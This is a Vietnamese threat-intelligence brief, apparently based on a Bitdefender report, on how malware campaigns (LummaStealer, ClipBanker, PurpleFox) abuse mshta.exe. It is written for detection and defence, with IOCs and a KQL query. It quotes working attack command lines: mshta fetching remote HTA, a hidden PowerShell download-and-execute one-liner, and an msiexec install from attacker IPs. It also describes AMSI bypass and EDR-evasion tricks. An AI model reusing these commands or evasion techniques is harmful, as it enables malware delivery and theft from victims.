MSHTA: Công cụ Windows 'đã nghỉ hưu' vẫn đang chạy malware

Tóm tắt cho lãnh đạo
Một tiện ích Windows mà phần lớn mọi người nghĩ đã "chết" cùng Internet Explorer
đang âm thầm tiếp sức cho các chiến dịch malware đang hoạt động. Bitdefender cho
biết từ đầu năm 2026, số lần phát hiện mshta.exe — Microsoft HTML
Application Host — tăng mạnh, và do nhu cầu sử dụng hợp pháp đang giảm dần, xu
hướng này phản ánh hoạt động độc hại, không phải việc admin dùng lại.
Sức hấp dẫn rất đơn giản: MSHTA được Microsoft ký, có sẵn mặc định, và chạy VBScript/JavaScript trong bộ nhớ, cho phép kẻ tấn công kéo payload từ xa rồi chuyển tiếp sang PowerShell hoặc msiexec mà gần như không để lại gì trên đĩa. Bitdefender quan sát thấy nó trải khắp phổ mối đe doạ — stealer thương phẩm (LummaStealer, Amatera qua CountLoader và Emmenhtal Loader), malware tráo ví crypto trong clipboard (ClipBanker), và PurpleFox có rootkit, tồn tại lâu năm.
Với doanh nghiệp, rủi ro là: chỉ một cú click vào bản tải "phần mềm miễn phí" giả hay một prompt CAPTCHA giả có thể khởi chạy một binary tin cậy, có chữ ký, dẫn đến đánh cắp thông tin đăng nhập, gian lận tài chính, hoặc xâm nhập dai dẳng — mà các kiểm soát dựa trên signature không hề hay biết.
Hành động quan trọng nhất: hạn chế hoặc chặn mshta.exe (và wscript.exe)
ở nơi không cần, và cảnh báo các command line mshta.exe chứa URL hoặc sinh ra
PowerShell/msiexec.
Bối cảnh — Vì sao MSHTA là LOLBIN hấp dẫn
mshta.exe chạy HTML Application (.hta) — chương trình viết bằng HTML kèm
VBScript hoặc JavaScript — bằng engine render Internet Explorer cũ. Dù IE đã hết
hỗ trợ ngày 15/06/2022, engine vẫn tồn tại trong IE mode của Edge (được hỗ trợ ít
nhất tới 2029), và bản thân MSHTA vẫn xuất xưởng bật mặc định trên Windows
hiện tại.
Living-off-the-Land binary (LOLBIN) hấp dẫn chính vì chúng có chữ ký, quen thuộc và được tin cậy ngầm. MSHTA khớp mô hình này một cách gọn ghẽ: nó có thể thực thi script trong bộ nhớ, lấy nội dung từ vị trí từ xa, và chạy dưới một tiến trình hợp lệ được Microsoft ký — lý tưởng cho stager và loader muốn giảm thiểu artifact trên đĩa.
Lưu ý về xu hướng: Microsoft bắt đầu khai tử VBScript từ nửa sau 2024 (hiện là Feature on Demand, vẫn bật mặc định), dự kiến tắt mặc định vào 2027, và sẽ gỡ bỏ hẳn. Tuy nhiên, chưa có kế hoạch công khai gỡ bỏ MSHTA. Chừng nào còn xuất xưởng mặc định, nó vẫn vừa là công cụ admin tồn dư, vừa là bề mặt tấn công bị phơi ra.
Khoảng 10% telemetry MSHTA của Bitdefender vẫn lành tính — các one-liner
javascript:alert() / vbscript:msgbox() thông báo admin và login script đơn
giản. Chính phần sử dụng hợp pháp còn lại đó khiến việc chặn thô bạo trở nên rủi
ro và detection theo hành vi trở nên cần thiết.
Điểm danh các chuỗi tấn công — MSHTA bị lạm dụng thế nào
Xuyên suốt các chiến dịch, MSHTA đóng cùng một vai trò: tiện ích có sẵn, có chữ ký, lấy về và thực thi nội dung script từ xa ở giai đoạn đầu hoặc trung gian, rồi chuyển tiếp sang PowerShell, WScript, msiexec, hoặc payload cuối.
1. CountLoader → LummaStealer / Amatera
Cụm lớn nhất trong telemetry của Bitdefender dùng CountLoader, một loader dựa
trên HTA để phát tán stealer LummaStealer và Amatera. Phần lớn lần phát
hiện cho thấy command line mshta.exe trỏ tới các domain giả dạng dịch vụ hợp
pháp trên TLD .cc (ví dụ google-services[.]cc, memory-scanner[.]cc).
Chiến dịch rộ lên cuối 2025, đạt đỉnh cuối tháng 1/2026, rồi giảm khi kẻ tấn
công đổi nền tảng hosting; từ cuối tháng 2/2026 xuất hiện pattern mới chuyển sang
domain .vg/.gl (explorer[.]vg, ccleaner[.]gl, microservice[.]gl).
Mồi nhử là phần mềm crack/miễn phí phát tán qua tin nhắn, bài đăng mạng xã hội,
hoặc website bị SEO poisoning. Archive tải về chứa một Setup.exe thực chất là
trình thông dịch Python hợp pháp, kèm các file python3XX.dll thật. Khi
chạy, quá trình phân giải dependency nạp một script độc hại tại
.\Lib\encodings\aliases.py, script này khởi chạy một bản MSHTA đổi tên
(iso2022.exe) để liên lạc C2 và lấy HTA loader. Command line kết quả có dạng:
cd Lib\encodings && iso2022.exe https:\\planetitude[.]org/wp-admin/chellenge/stats.location & iso2022[.]exe https:\\alpha-centavr[.]cc
2. Emmenhtal Loader (ClickFix)
Chuỗi Emmenhtal Loader dựa vào kỹ thuật social engineering ClickFix. Nó
bắt đầu bằng link phishing trên Discord dẫn tới trang xác minh người dùng giả
(kiểu reCAPTCHA, trên các host như humancheck[.]shop). JavaScript âm thầm chép
một lệnh độc hại vào clipboard; người dùng được hướng dẫn nhấn Win + R,
Ctrl + V, Enter — khiến explorer.exe khởi chạy mshta.exe trỏ tới một
".mp4" từ xa mà thực chất là HTA.
flowchart TD
A["Link phishing Discord"] --> B["Trang reCAPTCHA giả<br/>(humancheck[.]shop)"]
B -->|JS chép cmd vào clipboard| C["User: Win+R → Ctrl+V → Enter"]
C --> D["explorer.exe → mshta.exe<br/>.mp4 từ xa = HTA (in-memory)"]
D -->|cửa sổ 1x1px, ẩn| E["JS Base64 decoder → eval"]
E --> F["WScript.Shell chạy PowerShell<br/>-w hidden -ep bypass"]
F --> G["AMSI bypass (vá clr.dll)<br/>+ nạp .NET assembly"]
G --> H["LummaStealer"]
HTA được nhồi dữ liệu rác, đặt cửa sổ thành 1×1 pixel / ẩn, và được thực thi
trực tiếp trong bộ nhớ (không bao giờ ghi ra đĩa). Một hàm Base64 nhúng giải
mã và eval một loader giai đoạn hai, loader này sinh một WScript.Shell và chạy
một PowerShell one-liner ẩn để tải và thực thi script trong bộ nhớ:
powershell -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('hxxps://klipdiheqoe[.]shop/ruwkl[.]png'))"
PowerShell cuối thực hiện một AMSI bypass (vá clr.dll, lấy từ một repo
GitHub công khai), rồi Base64-decode và reflectively load một .NET assembly —
trong trường hợp phân tích là một assembly LummaStealer đã biết
(1E0E375F...85B7C84).
3. ClipBanker
Ở đây MSHTA lấy một HTA từ xa (ví dụ asd.s7610rir[.]pw/win/checking[.]hta),
HTA này giấu cửa sổ ra ngoài màn hình (moveTo -2000,-2000), tạo
WScript.Shell, và chạy một lệnh PowerShell Base64. Giai đoạn đó kéo checking.ps1
(333E2192...), script này đặt Windows Defender exclusion và persistence qua
một scheduled task giả dạng service hợp pháp (ví dụ "Optimize Start Menu
Cache Files-S-3-5-21-…"), rồi thả downloader ClipBanker (ichigo-lite.ps1). Một
script dọn dẹp (del.ps1) xoá dấu vết và kill các công cụ phân tích như
Procmon và Autoruns. Mục tiêu của ClipBanker: tráo địa chỉ ví
cryptocurrency trong clipboard của nạn nhân.
4. Các biến thể PowerShell-qua-MSHTA
Những cụm nhỏ hơn dùng MSHTA thuần để sinh PowerShell bị obfuscate, với các mẹo riêng theo chiến dịch nhằm né cảnh báo keyword của EDR/SIEM:
- XWorm / Danabot — URL trông như file ảnh (
.jpg) nhưng là PowerShell chạy in-memory; keyword PowerShell bị tách thành token ((New-Object Net.We+bClient).Downlo…) hoặc chèn ký tự rác rồi loại bằngString.Replace. - Lalala stealer — script chỉ được phục vụ nếu request
POSTchứa mật khẩu định sẵn (iwr ... -method post -body <password>).
5. PurpleFox — ngay cả mối đe doạ tinh vi cũng dùng MSHTA
PurpleFox (hoạt động từ 2018, vẫn còn sống năm 2026) là một backdoor có
rootkit. Một phương thức phát tán giữ nguyên nhiều năm: khởi chạy msiexec từ
command line MSHTA để tải và chạy một gói MSI giả dạng .png:
mshta.exe vbscript:createobject("wscript.shell").run("Cmd /c for /d %i in (195[.]189[.]28[.]244:17807 103[.]124[.]106[.]194:18413 58[.]221[.]59[.]20:17256 ) do Msiexec /i http://%i/3EBCE3A4.Png /Q",0)(window.close)
flowchart LR
A["mshta.exe (vbscript:)"] --> B["msiexec /i http://IP/file.Png /Q"]
B --> C["MSI (giả .png)<br/>backdoor có rootkit"]
C --> D["Persistence + lệnh C2<br/>đánh cắp thông tin · giám sát · DDoS"]
C --> E["Worm: quét port 445<br/>brute-force SMB"]
E -->|lây nhiễm| F["Host Windows mới"]
F --> E
Sau khi cài, PurpleFox cung cấp persistence và thực thi lệnh C2 theo yêu cầu, hỗ trợ đánh cắp thông tin, giám sát và DDoS. Mặt worm của nó (Guardicore, 2021) lây lan bằng cách quét port 445 và brute-force SMB — chiến dịch từng tăng vọt ~600% vào tháng 5/2020 (≈90.000 cuộc tấn công) và lạm dụng các server IIS cũ, bị chiếm để host payload. Rootkit giấu file và registry key, và malware chặn các port 445/139/135 để ngăn tái nhiễm.
Không phải lúc nào cũng độc hại
Không phải mọi lần MSHTA chạy đều là tấn công. Một phần đáng kể lần phát hiện đến
từ DriverPack, trình cập nhật của nó dùng scheduled task để chạy một HTA
in-memory kiểm tra cập nhật. Bản thân nó không độc hại (dù một số thành phần bị
gắn nhãn PUA) — một nhắc nhở hữu ích rằng nên tinh chỉnh theo hành vi, chứ không
chỉ theo riêng mshta.exe.
MITRE ATT&CK Mapping
Mapping do analyst thực hiện dựa trên báo cáo; không phải layer chính thức của vendor.
| Tactic | Technique | ID |
|---|---|---|
| Defense Evasion | System Binary Proxy Execution: Mshta | T1218.005 |
| Defense Evasion | System Binary Proxy Execution: Msiexec | T1218.007 |
| Execution | Command & Scripting: PowerShell | T1059.001 |
| Execution | Command & Scripting: Visual Basic | T1059.005 |
| Execution | Command & Scripting: JavaScript | T1059.007 |
| Initial Access | Phishing | T1566 |
| Execution | User Execution (gồm ClickFix paste-run) | T1204 |
| Command & Control | Ingress Tool Transfer | T1105 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 |
| Defense Evasion | Reflective Code Loading | T1620 |
| Defense Evasion | Impair Defenses (AMSI bypass, Defender exclusion) | T1562.001 |
| Persistence | Scheduled Task/Job | T1053.005 |
| Defense Evasion | Rootkit | T1014 |
| Collection | Clipboard Data (ClipBanker) | T1115 |
| Lateral Movement | Remote Services: SMB (worm PurpleFox) | T1021.002 |
| Credential Access | Brute Force (SMB) | T1110 |
| Defense Evasion | Indicator Removal (script dọn dẹp) | T1070 |
IOC chọn lọc
Chọn lọc để dễ đọc — bộ IOC đầy đủ nằm trong báo cáo Bitdefender (xem phần Tham khảo).
# === Hash (SHA-256) ===
1E0E375F3EE82D5AF5DFE6F7DF0E2FAC9A7D37C67ADD3390D05A93AFD85B7C84 Payload LummaStealer (Emmenhtal)
333E2192F2551415659FB4094E81B911708921BB588EECF65E27F51C9938DFC2 ClipBanker checking.ps1
38FE562136ADE372FC4CEDDE67826AEEA8404E93A54A4A4736DDB4C8C8D4C96D ClipBanker ichigo-lite.ps1
7D0487AFC91B0FE8B2FBF732AB54C3C07E86BF69471BBA6C283AABEA190499BA ClipBanker del.ps1 (dọn dẹp)
# === Domain CountLoader / LummaStealer (đại diện) ===
google-services[.]cc · memory-scanner[.]cc · alpha-centavr[.]cc
explorer[.]vg · ccleaner[.]gl · microservice[.]gl (pattern .vg/.gl mới)
# === URL Emmenhtal (đại diện) ===
hxxps[://]buck2nd[.]oss-eu-central-1[.]aliyuncs[.]com/dir/sixth/singl6[.]mp4
hxxp[://]92[.]255[.]57[.]155/Capcha[.]html
hxxps[://]klipdiheqoe[.]shop/ruwkl[.]png (giai đoạn PowerShell)
# === ClipBanker ===
185[.]208[.]159[.]199 host checking.ps1
87[.]96[.]21[.]84 host payload kế tiếp
hxxps[://]asd[.]s7610rir[.]pw/win/checking[.]hta
# === Host .msi PurpleFox (đại diện) ===
195[.]189[.]28[.]244 · 103[.]124[.]106[.]194 · 58[.]221[.]59[.]20
89[.]117[.]2[.]159 · 107[.]175[.]187[.]11
# === Pattern host-based ===
iso2022.exe mshta.exe đổi tên (CountLoader)
mshta.exe sinh ra powershell.exe / msiexec.exe / wscript.exe
command line mshta.exe chứa http(s):// hoặc vbscript:/javascript:
parent explorer.exe → mshta.exe (ClickFix paste-and-run)
Tên scheduled task giả dạng service Windows
Detection cho SOC
Tín hiệu đáng tin không phải một file đơn lẻ mà là hình dạng command line và
quan hệ tiến trình của mshta.exe. Điểm khởi đầu (Microsoft Sentinel /
Defender KQL):
DeviceProcessEvents
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", "vbscript:", "javascript:")
or InitiatingProcessFileName =~ "explorer.exe" // ClickFix paste-and-run
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
Kết hợp với một hunt theo quan hệ tiến trình cho mshta.exe sinh ra
powershell.exe, msiexec.exe, hoặc wscript.exe, và flag mọi MSHTA đổi tên
(một binary không phải mshta.exe nhưng tên file gốc / chữ ký phân giải về MS
HTML Application Host).
Khuyến nghị (ngắn gọn)
- Chặn hoặc hạn chế
mshta.exevàwscript.exeở nơi không cần cho nghiệp vụ; chặn thực thi.htaqua Group Policy / application control (WDAC / AppLocker). - Bật ASR rules và detection theo hành vi (không chỉ signature); cảnh báo theo pattern command line và quan hệ tiến trình ở trên.
- Đào tạo người dùng về ClickFix — không bao giờ paste-and-run lệnh từ prompt "xác minh người dùng" (mồi Win+R); tránh tải phần mềm crack/"miễn phí".
- Di chuyển các script admin cũ ra khỏi MSHTA/VBScript trước thời điểm tắt mặc định VBScript năm 2027.





